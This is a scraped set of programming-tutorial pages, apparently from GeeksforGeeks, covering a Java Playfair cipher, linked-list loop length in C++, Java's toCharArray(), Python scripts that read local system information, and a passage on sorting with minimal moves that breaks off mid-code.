[ { "code": null, "e": 25249, "s": 25221, "text": "\n11 Nov, 2021" }, { "code": null, "e": 26008, "s": 25249, "text": "Cipher is an algorithm for encryption and decryption. The cipher text is a process that applies to different types of algorithms to convert plain text to coded text. It is referred to as ciphertext. The Playfair cipher was the first practical digraph substitution cipher. The scheme was invented in 1854 by Charles Wheatstone but was named after Lord Playfair who promoted the use of the cipher. In Playfair cipher unlike traditional cipher, we encrypt a pair of alphabets(digraphs) instead of a single alphabet. It was used for tactical purposes by British forces in the Second Boer War and in World War I and for the same purpose by the Australians during World War II. This was because Playfair is reasonably fast to use and requires no special equipment." }, { "code": null, "e": 26019, "s": 26008, "text": "Algorithm:" }, { "code": null, "e": 27397, "s": 26019, "text": "Create a matrix of 5 cross 5 is made in which all the alphabet of English letters is placed in it. Now, you must be wondering that there are 26 alphabets while the matrix is only having 25 cells. To resolve it alphabets ‘i’ and ‘j’ are placed into a single cell.Now insert the key and put the remaining alphabets in the matrix. The matrix is made by inserting the value of the key and remaining alphabets into the matrix row-wise from left to right.Convert the text into pairs of alphabets keeping in mind no two alphabets should repeat consecutively. For example: ‘code’ is written as ‘co’,’de’If the letter is repeating then add ‘x’ to make as many pair sets as many times the alphabet is repeating. For example: ‘helloh’ is written as ‘he’ ‘lx‘, ‘lx‘, ‘oh’. Here letter ‘l’ was consecutive for 2 times hence two sets and two additions of ‘x”sNow if after breakdown into pairs, a letter is left alone add ‘z’ to the letter just like we have added ‘x’. For example: ‘hello’ is written as ‘he’ ‘lx’, ‘lx’, ‘oz‘Solve the matrix or forming code using 3 standard rulesIf both the alphabet are in the same row, replace them with alphabets to their immediate right.If both the alphabets are in the same column, replace them with alphabets immediately below them.If not in the same row or column, replace them with alphabets in the same row respectively, but at other pair of corners" }, { "code": null, "e": 27660, "s": 27397, "text": "Create a matrix of 5 cross 5 is made in which all the alphabet of English letters is placed in it. Now, you must be wondering that there are 26 alphabets while the matrix is only having 25 cells. To resolve it alphabets ‘i’ and ‘j’ are placed into a single cell." }, { "code": null, "e": 27848, "s": 27660, "text": "Now insert the key and put the remaining alphabets in the matrix. The matrix is made by inserting the value of the key and remaining alphabets into the matrix row-wise from left to right." }, { "code": null, "e": 27995, "s": 27848, "text": "Convert the text into pairs of alphabets keeping in mind no two alphabets should repeat consecutively. For example: ‘code’ is written as ‘co’,’de’" }, { "code": null, "e": 28246, "s": 27995, "text": "If the letter is repeating then add ‘x’ to make as many pair sets as many times the alphabet is repeating. For example: ‘helloh’ is written as ‘he’ ‘lx‘, ‘lx‘, ‘oh’. Here letter ‘l’ was consecutive for 2 times hence two sets and two additions of ‘x”s" }, { "code": null, "e": 28412, "s": 28246, "text": "Now if after breakdown into pairs, a letter is left alone add ‘z’ to the letter just like we have added ‘x’. For example: ‘hello’ is written as ‘he’ ‘lx’, ‘lx’, ‘oz‘" }, { "code": null, "e": 28780, "s": 28412, "text": "Solve the matrix or forming code using 3 standard rulesIf both the alphabet are in the same row, replace them with alphabets to their immediate right.If both the alphabets are in the same column, replace them with alphabets immediately below them.If not in the same row or column, replace them with alphabets in the same row respectively, but at other pair of corners" }, { "code": null, "e": 28876, "s": 28780, "text": "If both the alphabet are in the same row, replace them with alphabets to their immediate right." }, { "code": null, "e": 28974, "s": 28876, "text": "If both the alphabets are in the same column, replace them with alphabets immediately below them." }, { "code": null, "e": 29095, "s": 28974, "text": "If not in the same row or column, replace them with alphabets in the same row respectively, but at other pair of corners" }, { "code": null, "e": 29109, "s": 29095, "text": "Illustration:" }, { "code": null, "e": 29125, "s": 29109, "text": "Implementation:" }, { "code": null, "e": 29154, "s": 29125, "text": "Generate the key Square(5×5)" }, { "code": null, "e": 29176, "s": 29154, "text": "Encrypt the Plaintext" }, { "code": null, "e": 29184, "s": 29176, "text": "Example" }, { "code": null, "e": 29189, "s": 29184, "text": "Java" }, { "code": "// Java Program for Playfair Cipher Algorithm // Importing all utility classesimport java.util.*; // Main classpublic class Main { // Removing the duplicate values from the key static String removeDuplicate(String s) { int j, index = 0, len = s.length(); char c[] = s.toCharArray(); for (int i = 0; i < len; i++) { for (j = 0; j < i; j++) { if (c[i] == c[j]) break; } if (i == j) c[index++] = c[i]; } s = new String((Arrays.copyOf(c, index))); return s; } // Method 1 // Removing the white spaces from string 'st' // which was replaced by the key as space. static String removeWhiteSpace(char[] ch, String key) { char[] c = key.toCharArray(); // removing character which are input by the user // from string st for (int i = 0; i < c.length; i++) { for (int j = 0; j < ch.length; j++) { if (c[i] == ch[j]) c[i] = ' '; } } key = new String(c); key = key.replaceAll(\" \", \"\"); return key; } // Method 2 // To make the pair for encryption in plaintext. static String makePair(String pt) { String s = \"\"; char c = 'a'; for (int i = 0; i < pt.length(); i++) { if (pt.charAt(i) == ' ') continue; else { c = pt.charAt(i); s += pt.charAt(i); } if (i < pt.length() - 1) if (pt.charAt(i) == pt.charAt(i + 1)) s += \"x\"; } // If plain text length is odd then // adding x to make length even. if (s.length() % 2 != 0) s += \"x\"; System.out.println(s); return s; } // Method 3 // To find the position of row and column in matrix // for encryption of the pair. static int[] findIJ(char a, char b, char x[][]) { int[] y = new int[4]; if (a == 'j') a = 'i'; else if (b == 'j') b = 'i'; for (int i = 0; i < 5; i++) { for (int j = 0; j < 5; j++) { if (x[i][j] == a) { y[0] = i; y[1] = j; } else if (x[i][j] == b) { y[2] = i; y[3] = j; } } } if (y[0] == y[2]) { y[1] += 1; y[3] += 1; } else if (y[1] == y[3]) { y[0] += 1; y[2] += 1; } for (int i = 0; i < 4; i++) y[i] %= 5; return y; } // Method 4 // To encrypt the plaintext static String encrypt(String pt, char x[][]) { char ch[] = pt.toCharArray(); int a[] = new int[4]; for (int i = 0; i < pt.length(); i += 2) { if (i < pt.length() - 1) { a = findIJ(pt.charAt(i), pt.charAt(i + 1), x); if (a[0] == a[2]) { ch[i] = x[a[0]][a[1]]; ch[i + 1] = x[a[0]][a[3]]; } else if (a[1] == a[3]) { ch[i] = x[a[0]][a[1]]; ch[i + 1] = x[a[2]][a[1]]; } else { ch[i] = x[a[0]][a[3]]; ch[i + 1] = x[a[2]][a[1]]; } } } pt = new String(ch); return pt; } // Method 5 // Main driver method public static void main(String[] args) { // Creating an Scanner clas object to // take input from user Scanner sc = new Scanner(System.in); String pt = \"instruments\"; // Key input String key = \"monarchy\"; key = removeDuplicate(key); char[] ch = key.toCharArray(); // Reading string array of Letters of english // alphabet as Playfair to implement String st = \"abcdefghiklmnopqrstuvwxyz\"; st = removeWhiteSpace(ch, st); char[] c = st.toCharArray(); // Matrix input using above key char[][] x = new char[5][5]; int indexOfSt = 0, indexOfKey = 0; for (int i = 0; i < 5; i++) { for (int j = 0; j < 5; j++) { if (indexOfKey < key.length()) x[i][j] = ch[indexOfKey++]; else x[i][j] = c[indexOfSt++]; } } // Printing Matrix for (int i = 0; i < 5; i++) { for (int j = 0; j < 5; j++) System.out.print(x[i][j] + \" \"); System.out.println(); } // For getting encrypted output // Calling makePair() method over object created in // main() pt = makePair(pt); // Calling makePair() method over object created in // main() pt = encrypt(pt, x); // Print and display in the console System.out.println(pt); }}", "e": 34266, "s": 29189, "text": null }, { "code": null, "e": 34347, "s": 34266, "text": "m o n a r \nc h y b d \ne f g i k \nl p q s t \nu v w x z \ninstrumentsx\ngatlmzclrqxa" }, { "code": null, "e": 34358, "s": 34349, "text": "gabaa406" }, { "code": null, "e": 34371, "s": 34358, "text": "simmytarika5" }, { "code": null, "e": 34386, "s": 34371, "text": "sagartomar9927" }, { "code": null, "e": 34406, "s": 34386, "text": "abhishek0719kadiyan" }, { "code": null, "e": 34411, "s": 34406, "text": "Java" }, { "code": null, "e": 34425, "s": 34411, "text": "Java Programs" }, { "code": null, "e": 34430, "s": 34425, "text": "Java" }, { "code": null, "e": 34528, "s": 34430, "text": "Writing code in comment?\nPlease use ide.geeksforgeeks.org,\ngenerate link and share the link here." }, { "code": null, "e": 34543, "s": 34528, "text": "Stream In Java" }, { "code": null, "e": 34564, "s": 34543, "text": "Constructors in Java" }, { "code": null, "e": 34583, "s": 34564, "text": "Exceptions in Java" }, { "code": null, "e": 34613, "s": 34583, "text": "Functional Interfaces in Java" }, { "code": null, "e": 34659, "s": 34613, "text": "Different ways of Reading a text file in Java" }, { "code": null, "e": 34685, "s": 34659, "text": "Java Programming Examples" }, { "code": null, "e": 34719, "s": 34685, "text": "Convert Double to Integer in Java" }, { "code": null, "e": 34766, "s": 34719, "text": "Implementing a Linked List in Java using Class" }, { "code": null, "e": 34798, "s": 34766, "text": "How to Iterate HashMap in Java?" } ]
C++ Program For Finding The Length Of Loop In Linked List - GeeksforGeeks
05 Apr, 2022 Write a function detectAndCountLoop() that checks whether a given Linked List contains loop and if loop is present then returns count of nodes in loop. For example, the loop is present in below-linked list and length of the loop is 4. If the loop is not present, then the function should return 0. Approach: It is known that Floyd’s Cycle detection algorithm terminates when fast and slow pointers meet at a common point. It is also known that this common point is one of the loop nodes. Store the address of this common point in a pointer variable say (ptr). Then initialize a counter with 1 and start from the common point and keeps on visiting the next node and increasing the counter till the common pointer is reached again. At that point, the value of the counter will be equal to the length of the loop.Algorithm: Find the common point in the loop by using the Floyd’s Cycle detection algorithmStore the pointer in a temporary variable and keep a count = 0Traverse the linked list until the same node is reached again and increase the count while moving to next node.Print the count as length of loop Find the common point in the loop by using the Floyd’s Cycle detection algorithm Store the pointer in a temporary variable and keep a count = 0 Traverse the linked list until the same node is reached again and increase the count while moving to next node. Print the count as length of loop C++ // C++ program to count number of nodes// in loop in a linked list if loop is// present#include<bits/stdc++.h>using namespace std; // Link list nodestruct Node{ int data; struct Node* next;}; // Returns count of nodes present// in loop.int countNodes(struct Node *n){ int res = 1; struct Node *temp = n; while (temp->next != n) { res++; temp = temp->next; } return res;} /* This function detects and counts loop nodes in the list. If loop is not there in then returns 0 */int countNodesinLoop(struct Node *list){ struct Node *slow_p = list, *fast_p = list; while (slow_p && fast_p && fast_p->next) { slow_p = slow_p->next; fast_p = fast_p->next->next; /* If slow_p and fast_p meet at some point then there is a loop */ if (slow_p == fast_p) return countNodes(slow_p); } /* Return 0 to indicate that there is no loop*/ return 0;} struct Node *newNode(int key){ struct Node *temp = (struct Node*)malloc(sizeof(struct Node)); temp->data = key; temp->next = NULL; return temp;} // Driver Codeint main(){ struct Node *head = newNode(1); head->next = newNode(2); head->next->next = newNode(3); head->next->next->next = newNode(4); head->next->next->next->next = newNode(5); // Create a loop for testing head->next->next->next->next->next = head->next; cout << countNodesinLoop(head) << endl; return 0;}// This code is contributed by SHUBHAMSINGH10 Output: 4 Complexity Analysis: Time complexity:O(n). Only one traversal of the linked list is needed. Auxiliary Space:O(1). As no extra space is required. Please refer complete article on Find length of loop in linked list for more details! simranarora5sos Adobe Linked Lists Qualcomm C++ C++ Programs Linked List Adobe Qualcomm Linked List CPP Writing code in comment? Please use ide.geeksforgeeks.org, generate link and share the link here. Operator Overloading in C++ Polymorphism in C++ Friend class and function in C++ Sorting a vector in C++ std::string class in C++ Header files in C/C++ and its uses Program to print ASCII Value of a character How to return multiple values from a function in C or C++? C++ Program for QuickSort Sorting a Map by value in C++ STL
[ { "code": null, "e": 25421, "s": 25393, "text": "\n05 Apr, 2022" }, { "code": null, "e": 25719, "s": 25421, "text": "Write a function detectAndCountLoop() that checks whether a given Linked List contains loop and if loop is present then returns count of nodes in loop. For example, the loop is present in below-linked list and length of the loop is 4. If the loop is not present, then the function should return 0." }, { "code": null, "e": 26242, "s": 25719, "text": "Approach: It is known that Floyd’s Cycle detection algorithm terminates when fast and slow pointers meet at a common point. It is also known that this common point is one of the loop nodes. Store the address of this common point in a pointer variable say (ptr). Then initialize a counter with 1 and start from the common point and keeps on visiting the next node and increasing the counter till the common pointer is reached again. At that point, the value of the counter will be equal to the length of the loop.Algorithm:" }, { "code": null, "e": 26529, "s": 26242, "text": "Find the common point in the loop by using the Floyd’s Cycle detection algorithmStore the pointer in a temporary variable and keep a count = 0Traverse the linked list until the same node is reached again and increase the count while moving to next node.Print the count as length of loop" }, { "code": null, "e": 26610, "s": 26529, "text": "Find the common point in the loop by using the Floyd’s Cycle detection algorithm" }, { "code": null, "e": 26673, "s": 26610, "text": "Store the pointer in a temporary variable and keep a count = 0" }, { "code": null, "e": 26785, "s": 26673, "text": "Traverse the linked list until the same node is reached again and increase the count while moving to next node." }, { "code": null, "e": 26819, "s": 26785, "text": "Print the count as length of loop" }, { "code": null, "e": 26823, "s": 26819, "text": "C++" }, { "code": "// C++ program to count number of nodes// in loop in a linked list if loop is// present#include<bits/stdc++.h>using namespace std; // Link list nodestruct Node{ int data; struct Node* next;}; // Returns count of nodes present// in loop.int countNodes(struct Node *n){ int res = 1; struct Node *temp = n; while (temp->next != n) { res++; temp = temp->next; } return res;} /* This function detects and counts loop nodes in the list. If loop is not there in then returns 0 */int countNodesinLoop(struct Node *list){ struct Node *slow_p = list, *fast_p = list; while (slow_p && fast_p && fast_p->next) { slow_p = slow_p->next; fast_p = fast_p->next->next; /* If slow_p and fast_p meet at some point then there is a loop */ if (slow_p == fast_p) return countNodes(slow_p); } /* Return 0 to indicate that there is no loop*/ return 0;} struct Node *newNode(int key){ struct Node *temp = (struct Node*)malloc(sizeof(struct Node)); temp->data = key; temp->next = NULL; return temp;} // Driver Codeint main(){ struct Node *head = newNode(1); head->next = newNode(2); head->next->next = newNode(3); head->next->next->next = newNode(4); head->next->next->next->next = newNode(5); // Create a loop for testing head->next->next->next->next->next = head->next; cout << countNodesinLoop(head) << endl; return 0;}// This code is contributed by SHUBHAMSINGH10", "e": 28369, "s": 26823, "text": null }, { "code": null, "e": 28377, "s": 28369, "text": "Output:" }, { "code": null, "e": 28379, "s": 28377, "text": "4" }, { "code": null, "e": 28400, "s": 28379, "text": "Complexity Analysis:" }, { "code": null, "e": 28471, "s": 28400, "text": "Time complexity:O(n). Only one traversal of the linked list is needed." }, { "code": null, "e": 28524, "s": 28471, "text": "Auxiliary Space:O(1). As no extra space is required." }, { "code": null, "e": 28610, "s": 28524, "text": "Please refer complete article on Find length of loop in linked list for more details!" }, { "code": null, "e": 28626, "s": 28610, "text": "simranarora5sos" }, { "code": null, "e": 28632, "s": 28626, "text": "Adobe" }, { "code": null, "e": 28645, "s": 28632, "text": "Linked Lists" }, { "code": null, "e": 28654, "s": 28645, "text": "Qualcomm" }, { "code": null, "e": 28658, "s": 28654, "text": "C++" }, { "code": null, "e": 28671, "s": 28658, "text": "C++ Programs" }, { "code": null, "e": 28683, "s": 28671, "text": "Linked List" }, { "code": null, "e": 28689, "s": 28683, "text": "Adobe" }, { "code": null, "e": 28698, "s": 28689, "text": "Qualcomm" }, { "code": null, "e": 28710, "s": 28698, "text": "Linked List" }, { "code": null, "e": 28714, "s": 28710, "text": "CPP" }, { "code": null, "e": 28812, "s": 28714, "text": "Writing code in comment?\nPlease use ide.geeksforgeeks.org,\ngenerate link and share the link here." }, { "code": null, "e": 28840, "s": 28812, "text": "Operator Overloading in C++" }, { "code": null, "e": 28860, "s": 28840, "text": "Polymorphism in C++" }, { "code": null, "e": 28893, "s": 28860, "text": "Friend class and function in C++" }, { "code": null, "e": 28917, "s": 28893, "text": "Sorting a vector in C++" }, { "code": null, "e": 28942, "s": 28917, "text": "std::string class in C++" }, { "code": null, "e": 28977, "s": 28942, "text": "Header files in C/C++ and its uses" }, { "code": null, "e": 29021, "s": 28977, "text": "Program to print ASCII Value of a character" }, { "code": null, "e": 29080, "s": 29021, "text": "How to return multiple values from a function in C or C++?" }, { "code": null, "e": 29106, "s": 29080, "text": "C++ Program for QuickSort" } ]
Java - String toCharArray() Method
This method converts this string to a new character array. Here is the syntax of this method − public char[] toCharArray() Here is the detail of parameters − NA NA It returns a newly allocated character array, whose length is the length of this string and whose contents are initialized to contain the character sequence represented by this string. It returns a newly allocated character array, whose length is the length of this string and whose contents are initialized to contain the character sequence represented by this string. import java.io.*; public class Test { public static void main(String args[]) { String Str = new String("Welcome to Tutorialspoint.com"); System.out.print("Return Value :" ); System.out.println(Str.toCharArray() ); } } This will produce the following result − Return Value :Welcome to Tutorialspoint.com 16 Lectures 2 hours Malhar Lathkar 19 Lectures 5 hours Malhar Lathkar 25 Lectures 2.5 hours Anadi Sharma 126 Lectures 7 hours Tushar Kale 119 Lectures 17.5 hours Monica Mittal 76 Lectures 7 hours Arnab Chakraborty Print Add Notes Bookmark this page
[ { "code": null, "e": 2436, "s": 2377, "text": "This method converts this string to a new character array." }, { "code": null, "e": 2473, "s": 2436, "text": "Here is the syntax of this method −" }, { "code": null, "e": 2502, "s": 2473, "text": "public char[] toCharArray()\n" }, { "code": null, "e": 2537, "s": 2502, "text": "Here is the detail of parameters −" }, { "code": null, "e": 2540, "s": 2537, "text": "NA" }, { "code": null, "e": 2543, "s": 2540, "text": "NA" }, { "code": null, "e": 2728, "s": 2543, "text": "It returns a newly allocated character array, whose length is the length of this string and whose contents are initialized to contain the character sequence represented by this string." }, { "code": null, "e": 2913, "s": 2728, "text": "It returns a newly allocated character array, whose length is the length of this string and whose contents are initialized to contain the character sequence represented by this string." }, { "code": null, "e": 3157, "s": 2913, "text": "import java.io.*;\npublic class Test {\n\n public static void main(String args[]) {\n String Str = new String(\"Welcome to Tutorialspoint.com\");\n\n System.out.print(\"Return Value :\" );\n System.out.println(Str.toCharArray() );\n }\n}" }, { "code": null, "e": 3198, "s": 3157, "text": "This will produce the following result −" }, { "code": null, "e": 3243, "s": 3198, "text": "Return Value :Welcome to Tutorialspoint.com\n" }, { "code": null, "e": 3276, "s": 3243, "text": "\n 16 Lectures \n 2 hours \n" }, { "code": null, "e": 3292, "s": 3276, "text": " Malhar Lathkar" }, { "code": null, "e": 3325, "s": 3292, "text": "\n 19 Lectures \n 5 hours \n" }, { "code": null, "e": 3341, "s": 3325, "text": " Malhar Lathkar" }, { "code": null, "e": 3376, "s": 3341, "text": "\n 25 Lectures \n 2.5 hours \n" }, { "code": null, "e": 3390, "s": 3376, "text": " Anadi Sharma" }, { "code": null, "e": 3424, "s": 3390, "text": "\n 126 Lectures \n 7 hours \n" }, { "code": null, "e": 3438, "s": 3424, "text": " Tushar Kale" }, { "code": null, "e": 3475, "s": 3438, "text": "\n 119 Lectures \n 17.5 hours \n" }, { "code": null, "e": 3490, "s": 3475, "text": " Monica Mittal" }, { "code": null, "e": 3523, "s": 3490, "text": "\n 76 Lectures \n 7 hours \n" }, { "code": null, "e": 3542, "s": 3523, "text": " Arnab Chakraborty" }, { "code": null, "e": 3549, "s": 3542, "text": " Print" }, { "code": null, "e": 3560, "s": 3549, "text": " Add Notes" } ]
Get Your System Information - Using Python Script - GeeksforGeeks
25 Sep, 2020 Getting system information for your system can easily be done by the operating system in use, Ubuntu let’s say. But won’t it be fun to get this System information using Python script? In this article, we will look into various ways to derive your system information using Python. There are two ways to get information: Using Platform modulesubprocess Using Platform module subprocess Installation of the platform module can be done using the below command: pip install platform Example: Python3 import platform my_system = platform.uname() print(f"System: {my_system.system}")print(f"Node Name: {my_system.node}")print(f"Release: {my_system.release}")print(f"Version: {my_system.version}")print(f"Machine: {my_system.machine}")print(f"Processor: {my_system.processor}") Output: System: Windows Node Name: LAPTOP-PRKUI1Q9 Release: 10 Version: 10.0.18362 Machine: AMD64 Processor: Intel64 Family 6 Model 78 Stepping 3, GenuineIntel The WMI module can be used to gain system information of a windows machine and can be installed using the below command: pip install wmi Example: Python3 import wmi c = wmi.WMI() my_system = c.Win32_ComputerSystem()[0] print(f"Manufacturer: {my_system.Manufacturer}")print(f"Model: {my_system. Model}")print(f"Name: {my_system.Name}")print(f"NumberOfProcessors: {my_system.NumberOfProcessors}")print(f"SystemType: {my_system.SystemType}")print(f"SystemFamily: {my_system.SystemFamily}") Output: Manufacturer: LENOVO Model: 80XH Name: LAPTOP-PRKUI1Q9 NumberOfProcessors: 1 SystemType: x64-based PC SystemFamily: ideapad 320-15ISK Example: Python3 import os print(os.uname()) Output: (‘Linux’, ‘mycomputer.domain.user’, ‘2.6.18-92.1.22.el5PAE’, ‘#1 SMP Tue APR 16 12:36:25 EST 2020’, ‘i686’) This is primarily used for getting runtime process information on the system. Installation of psutil module can be done using the below command: pip install psutil Example: Python3 import psutil print(f"Memory :{psutil.virtual_memory()}") Output: Memory :svmem(total=8458571776, available=2982494208, percent=64.7, used=5476077568, free=2982494208) We will use the subprocess module to interact with cmd and to retrieve information into your python ide. we can read the cmd command through the subprocess module. It is an inbuilt module in python Let’s see my logic, if we run this systeminfo code into our terminal then we got like this: Let’s write python code to get information: Approach: import module Get the output for the command “systeminfo” using subprocess.check_output() Decode the output with utf-8 split the meta data according to the line Now get the Split the string and arrange your data with your own needs. Implementation: Python3 # import moduleimport subprocess # traverse the infoId = subprocess.check_output(['systeminfo']).decode('utf-8').split('\n')new = [] # arrange the string into clear infofor item in Id: new.append(str(item.split("\r")[:-1]))for i in new: print(i[2:-2]) Output: kumar_satyam Picked python-utility Python Python Programs Writing code in comment? Please use ide.geeksforgeeks.org, generate link and share the link here. Python Dictionary Read a file line by line in Python How to Install PIP on Windows ? Enumerate() in Python Different ways to create Pandas Dataframe Python program to convert a list to string Defaultdict in Python Python | Get dictionary keys as a list Python | Split string into list of characters Python | Convert a list to dictionary
[ { "code": null, "e": 26131, "s": 26103, "text": "\n25 Sep, 2020" }, { "code": null, "e": 26411, "s": 26131, "text": "Getting system information for your system can easily be done by the operating system in use, Ubuntu let’s say. But won’t it be fun to get this System information using Python script? In this article, we will look into various ways to derive your system information using Python." }, { "code": null, "e": 26450, "s": 26411, "text": "There are two ways to get information:" }, { "code": null, "e": 26484, "s": 26450, "text": "Using Platform modulesubprocess " }, { "code": null, "e": 26506, "s": 26484, "text": "Using Platform module" }, { "code": null, "e": 26519, "s": 26506, "text": "subprocess " }, { "code": null, "e": 26594, "s": 26519, "text": "Installation of the platform module can be done using the below command: " }, { "code": null, "e": 26617, "s": 26594, "text": "pip install platform\n\n" }, { "code": null, "e": 26628, "s": 26617, "text": "Example: " }, { "code": null, "e": 26636, "s": 26628, "text": "Python3" }, { "code": "import platform my_system = platform.uname() print(f\"System: {my_system.system}\")print(f\"Node Name: {my_system.node}\")print(f\"Release: {my_system.release}\")print(f\"Version: {my_system.version}\")print(f\"Machine: {my_system.machine}\")print(f\"Processor: {my_system.processor}\")", "e": 26911, "s": 26636, "text": null }, { "code": null, "e": 26921, "s": 26911, "text": "Output: " }, { "code": null, "e": 27075, "s": 26921, "text": "System: Windows\nNode Name: LAPTOP-PRKUI1Q9\nRelease: 10\nVersion: 10.0.18362\nMachine: AMD64\nProcessor: Intel64 Family 6 Model 78 Stepping 3, GenuineIntel\n\n" }, { "code": null, "e": 27200, "s": 27077, "text": "The WMI module can be used to gain system information of a windows machine and can be installed using the below command: " }, { "code": null, "e": 27218, "s": 27200, "text": "pip install wmi\n\n" }, { "code": null, "e": 27229, "s": 27218, "text": "Example: " }, { "code": null, "e": 27237, "s": 27229, "text": "Python3" }, { "code": "import wmi c = wmi.WMI() my_system = c.Win32_ComputerSystem()[0] print(f\"Manufacturer: {my_system.Manufacturer}\")print(f\"Model: {my_system. Model}\")print(f\"Name: {my_system.Name}\")print(f\"NumberOfProcessors: {my_system.NumberOfProcessors}\")print(f\"SystemType: {my_system.SystemType}\")print(f\"SystemFamily: {my_system.SystemFamily}\")", "e": 27572, "s": 27237, "text": null }, { "code": null, "e": 27582, "s": 27572, "text": "Output: " }, { "code": null, "e": 27718, "s": 27582, "text": "Manufacturer: LENOVO\nModel: 80XH\nName: LAPTOP-PRKUI1Q9\nNumberOfProcessors: 1\nSystemType: x64-based PC\nSystemFamily: ideapad 320-15ISK\n\n" }, { "code": null, "e": 27729, "s": 27720, "text": "Example:" }, { "code": null, "e": 27737, "s": 27729, "text": "Python3" }, { "code": "import os print(os.uname())", "e": 27765, "s": 27737, "text": null }, { "code": null, "e": 27775, "s": 27765, "text": "Output: " }, { "code": null, "e": 27883, "s": 27775, "text": "(‘Linux’, ‘mycomputer.domain.user’, ‘2.6.18-92.1.22.el5PAE’, ‘#1 SMP Tue APR 16 12:36:25 EST 2020’, ‘i686’)" }, { "code": null, "e": 28032, "s": 27885, "text": "This is primarily used for getting runtime process information on the system. Installation of psutil module can be done using the below command: " }, { "code": null, "e": 28053, "s": 28032, "text": "pip install psutil\n\n" }, { "code": null, "e": 28064, "s": 28053, "text": "Example: " }, { "code": null, "e": 28072, "s": 28064, "text": "Python3" }, { "code": "import psutil print(f\"Memory :{psutil.virtual_memory()}\")", "e": 28130, "s": 28072, "text": null }, { "code": null, "e": 28140, "s": 28130, "text": "Output: " }, { "code": null, "e": 28242, "s": 28140, "text": "Memory :svmem(total=8458571776, available=2982494208, percent=64.7, used=5476077568, free=2982494208)" }, { "code": null, "e": 28440, "s": 28242, "text": "We will use the subprocess module to interact with cmd and to retrieve information into your python ide. we can read the cmd command through the subprocess module. It is an inbuilt module in python" }, { "code": null, "e": 28533, "s": 28440, "text": "Let’s see my logic, if we run this systeminfo code into our terminal then we got like this:" }, { "code": null, "e": 28577, "s": 28533, "text": "Let’s write python code to get information:" }, { "code": null, "e": 28587, "s": 28577, "text": "Approach:" }, { "code": null, "e": 28601, "s": 28587, "text": "import module" }, { "code": null, "e": 28677, "s": 28601, "text": "Get the output for the command “systeminfo” using subprocess.check_output()" }, { "code": null, "e": 28748, "s": 28677, "text": "Decode the output with utf-8 split the meta data according to the line" }, { "code": null, "e": 28820, "s": 28748, "text": "Now get the Split the string and arrange your data with your own needs." }, { "code": null, "e": 28836, "s": 28820, "text": "Implementation:" }, { "code": null, "e": 28844, "s": 28836, "text": "Python3" }, { "code": "# import moduleimport subprocess # traverse the infoId = subprocess.check_output(['systeminfo']).decode('utf-8').split('\\n')new = [] # arrange the string into clear infofor item in Id: new.append(str(item.split(\"\\r\")[:-1]))for i in new: print(i[2:-2])", "e": 29102, "s": 28844, "text": null }, { "code": null, "e": 29110, "s": 29102, "text": "Output:" }, { "code": null, "e": 29125, "s": 29112, "text": "kumar_satyam" }, { "code": null, "e": 29132, "s": 29125, "text": "Picked" }, { "code": null, "e": 29147, "s": 29132, "text": "python-utility" }, { "code": null, "e": 29154, "s": 29147, "text": "Python" }, { "code": null, "e": 29170, "s": 29154, "text": "Python Programs" }, { "code": null, "e": 29268, "s": 29170, "text": "Writing code in comment?\nPlease use ide.geeksforgeeks.org,\ngenerate link and share the link here." }, { "code": null, "e": 29286, "s": 29268, "text": "Python Dictionary" }, { "code": null, "e": 29321, "s": 29286, "text": "Read a file line by line in Python" }, { "code": null, "e": 29353, "s": 29321, "text": "How to Install PIP on Windows ?" }, { "code": null, "e": 29375, "s": 29353, "text": "Enumerate() in Python" }, { "code": null, "e": 29417, "s": 29375, "text": "Different ways to create Pandas Dataframe" }, { "code": null, "e": 29460, "s": 29417, "text": "Python program to convert a list to string" }, { "code": null, "e": 29482, "s": 29460, "text": "Defaultdict in Python" }, { "code": null, "e": 29521, "s": 29482, "text": "Python | Get dictionary keys as a list" }, { "code": null, "e": 29567, "s": 29521, "text": "Python | Split string into list of characters" } ]
Count minimum number of moves to front or end to sort an array - GeeksforGeeks
25 Apr, 2022 Given an array arr[] of size N, the task is to find the minimum moves to the beginning or end of the array required to make the array sorted in non-decreasing order. Examples: Input: arr[] = {4, 7, 2, 3, 9} Output: 2 Explanation: Perform the following operations: Step 1: Move the element 3 to the start of the array. Now, arr[] modifies to {3, 4, 7, 2, 9}. Step 2: Move the element 2 to the start of the array. Now, arr[] modifies to {2, 3, 4, 7, 9}. Now, the resultant array is sorted. Therefore, the minimum moves required is 2. Input: arr[] = {1, 4, 5, 7, 12} Output: 0 Explanation: The array is already sorted. Therefore, no moves required. Naive Approach: The simplest approach is to check for every array element, how many moves are required to sort the given array arr[]. For each array element, if it is not at its sorted position, the following possibilities arise: Either move the current element to the front. Otherwise, move the current element to the end. After performing the above operations, print the minimum number of operations required to make the array sorted. Below is the recurrence relation of the same: If the array arr[] is equal to the array brr[], then return 0. If arr[i] < brr[j], then count of operation will be: 1 + recursive_function(arr, brr, i + 1, j + 1) Otherwise, the count of operation can be calculated by taking the maximum of the following states: recursive_function(arr, brr, i + 1, j)recursive_function(arr, brr, i, j + 1) recursive_function(arr, brr, i + 1, j)recursive_function(arr, brr, i, j + 1) recursive_function(arr, brr, i + 1, j) recursive_function(arr, brr, i, j + 1) Below is the implementation of the above approach: C++ Java Python3 C# Javascript // C++ program for the above approach#include <bits/stdc++.h>using namespace std; // Function that counts the minimum// moves required to convert arr[] to brr[]int minOperations(int arr1[], int arr2[], int i, int j, int n){ // Base Case int f = 0; for (int i = 0; i < n; i++) { if (arr1[i] != arr2[i]) f = 1; break; } if (f == 0) return 0; if (i >= n || j >= n) return 0; // If arr[i] < arr[j] if (arr1[i] < arr2[j]) // Include the current element return 1 + minOperations(arr1, arr2, i + 1, j + 1, n); // Otherwise, excluding the current element return max(minOperations(arr1, arr2, i, j + 1, n), minOperations(arr1, arr2, i + 1, j, n));} // Function that counts the minimum// moves required to sort the arrayvoid minOperationsUtil(int arr[], int n){ int brr[n]; for (int i = 0; i < n; i++) brr[i] = arr[i]; sort(brr, brr + n); int f = 0; // If both the arrays are equal for (int i = 0; i < n; i++) { if (arr[i] != brr[i]) // No moves required f = 1; break; } // Otherwise if (f == 1) // Print minimum // operations required cout << (minOperations(arr, brr, 0, 0, n)); else cout << "0";} // Driver codeint main(){ int arr[] = {4, 7, 2, 3, 9}; int n = sizeof(arr) / sizeof(arr[0]); minOperationsUtil(arr, n);} // This code is contributed by Chitranayal // Java program for the above approachimport java.util.*;import java.io.*;import java.lang.Math; class GFG{ // Function that counts the minimum// moves required to convert arr[] to brr[]static int minOperations(int arr1[], int arr2[], int i, int j){ // Base Case if (arr1.equals(arr2)) return 0; if (i >= arr1.length || j >= 